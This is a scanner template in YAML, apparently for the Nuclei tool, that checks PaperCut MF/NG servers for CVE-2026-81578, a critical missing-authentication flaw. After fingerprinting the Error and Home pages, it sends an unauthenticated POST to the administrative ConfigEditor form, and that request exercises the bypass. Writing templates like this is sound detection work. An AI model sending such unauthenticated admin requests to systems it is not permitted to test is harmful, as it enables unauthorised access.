id: CVE-2026-81578

info:
  name: "PaperCut MF - Missing Authentication"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    An improper access control vulnerability exists in the web management interface of PaperCut MF and PaperCut
    NG. Under specific conditions, unauthenticated remote requests targeting administrative functions can trigger
    backend actions prior to the completion of access validation checks.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-81578&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=papercut&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-81578
    cwe-id: CWE-306
  metadata:
    verified: false
  tags: cve,cve2026,papercut,auth-bypass,rce,unauth,tapestry,kev,vkev
variables:
  rand: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /app?service=page/Error HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<!-- Page: Error -->")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /app HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "<!-- Page: Home -->")'
          - 'status_code == 200'
        condition: and

  - raw:
      - |
        POST /app?service=direct/{{rand}}/Home/ConfigEditor/quickFindForm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{RootURL}}
        Referer: {{RootURL}}/app

        sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=server.name&doQuickFind=Go

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<!-- Page: Home -->")'
          - 'status_code == 200'
        condition: and